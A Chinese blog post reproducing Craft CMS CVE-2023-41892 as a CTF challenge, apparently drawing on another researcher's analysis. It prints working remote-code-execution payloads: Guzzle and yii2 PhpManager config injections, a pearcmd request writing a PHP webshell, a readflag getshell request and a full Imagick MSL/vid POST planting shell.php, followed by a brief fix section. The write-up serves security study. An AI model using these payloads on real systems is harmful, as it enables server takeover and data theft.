CVE-2023-41892 漏洞复现

本文详细分析了CraftCMS中的CVE-2023-41892漏洞,涉及RCE(远程代码执行),包括GuzzleHttp和Yii2rbac组件的安全问题,以及如何利用Imagick类的漏洞进行文件操作。文章还介绍了漏洞利用方法和修复建议,强调了对输入配置的清理重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

CVE-2023-41892

开题,是一个RCE

image-20231028154213692

Thanks for installing Craft CMS!

You’re looking at the index.twig template file located in your templates/ folder. Once you’re ready to start building out your site’s front end, you can replace this with something custom.

If you’re new to Craft CMS, take some time to check out the resources on the right when you get a chance—especially Discord and Stack Exchange. The Craft community is full of smart, friendly, and helpful people!

感谢您安装Craft CMS!

你在看 index. twig模板文件位于您的templates/文件夹。一旦你准备好开始构建你的网站前端,你可以用一些自定义的东西来代替它。

如果您是Craft CMS的新手,请在有机会的时候花点时间查看右侧的资源,尤其是Discord和Stack Exchange。手工艺社区充满了聪明、友好和乐于助人的人!

网上搜索Craft CMS 漏洞

CVE-2023-41892 CraftCMS远程代码执行漏洞分析 | Bmth’s blog (bmth666.cn)

这个CMS有三个洞。Affected versions>= 4.0.0-RC1 , <= 4.4.14

1、vendor\guzzlehttp\psr7\src\FnStream.php存在call_user_func,可执行phpinfo();

image-20231030035805156

image-20231028192136033

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream","__construct()":[{"close":null}],"_fn_close":"phpinfo"}}

2、vendor\yiisoft\yii2\rbac\PhpManager.php处存在require 文件包含。调用链如下:

yii\base\BaseObject::__construct()
    yii\rbac\PhpManager::init()
        yii\rbac\PhpManager::load()
            yii\rbac\PhpManager::loadFromFile()

image-20231030035927798

这个漏洞我们可以用来包含日志文件,包含日志文件payload如下:

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/var/www/html/craft/storage/logs/web-2023-09-26.log"}]}}

但是这题包含日志文件无效。但是这里可以使用pearcmd文件包含。

payload:(写入木马)

/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?= system($_POST[1]);?>+/tmp/j.php

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/usr/local/lib/php/pearcmd.php"}]}}

image-20231028183854995

我们会发现直接读取/flag文件是没有内容的,但是我们可以执行/readflag脚本。

payload:(getshell)

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/tmp/j.php"}]}}&1=cd /;./readflag

image-20231028192011523

cyberpeace{b68aa7baed26c658ba658d116ffede43}

3、Imagick原生类存在任意文件写入漏洞。

------------------------------------【以下是摘抄原文】------------------------------------

需要环境:php-imagick

Imagick 类,它的构造函数只有一个参数,可以是字符串或字符串数组。

image-20231030041605458

一、MSL
MSL全称是Magick Scripting Language,它是一种内置的 ImageMagick 语言,其中存在两个标签<read><write>可以用于读取和写入文件,这个 Trick 的核心就是利用这两个标签写入任意文件Webshell
https://imagemagick.org/script/conjure.php#msl

二、vid协议
ImageMagick中有一个协议vid:https://github.com/ImageMagick/ImageMagick/blob/d2a918098878bd73a57a34b901b5ae85c0c8d17f/coders/vid.c#L98,会调用 ExpandFilenames 函数
img

可以用于包裹其他协议或者文件名,其增加了对 glob 通配符的支持,这样我们就可以通过*的方式来包含一些我们不知道完整文件名的文件

即使用new Imagick('vid:msl:/tmp/php*');让 Imagick 加载并解析 PHP 上传的临时文件

三、漏洞利用

  1. <read>标签可以读取一个图片,图片可以来自于远程http,也可以来自于本地
  2. <write>标签可以将前面获取的图片写入到另一个位置,而且文件名可控
  3. <comment>标签可以给生成的图片加注释,所以我们将Webshell编码后放在这个标签里即可

一种方法就是利用本地图片,POC:

XML
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/usr/share/doc/ImageMagick-7/www/wand.png"/>
<comment>HTML实体编码后的Webshell</comment>
<write filename="shell.php" />
</image>

还有一种方法就是使用caption:info:协议

最后的请求如下:

PLAINTEXT
POST /index.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: */*
Host: 192.168.111.178:8080
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------974726398307238472515955
Content-Length: 850

----------------------------974726398307238472515955
Content-Disposition: form-data; name="action"

conditions/render
----------------------------974726398307238472515955
Content-Disposition: form-data; name="configObject"

craft\elements\conditions\ElementCondition
----------------------------974726398307238472515955
Content-Disposition: form-data; name="config"

{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
----------------------------974726398307238472515955
Content-Disposition: form-data; name="image"; filename="poc.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;"/>
<write filename="info:/var/www/html/craft/web/shell.php">
</image>
----------------------------974726398307238472515955--

虽然能成功写入,但是执行后会造成 Segmentation fault (core dumped) ,可能导致程序崩溃服务关闭,所以一般不建议使用该方法。

------------------------------------【以上是摘抄原文】------------------------------------

在本题中,可以利用vid来写入文件到/tmp目录下。同时再利用第二点vendor\yiisoft\yii2\rbac\PhpManager.php处存在require 文件包含来包含我们写入的木马文件。

漏洞修复

使用Component::cleanseConfig对传入的 config 进行处理

img

移除所有以on or as 开头的键

img

大多理论知识来自于 Bmth师傅的文章。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值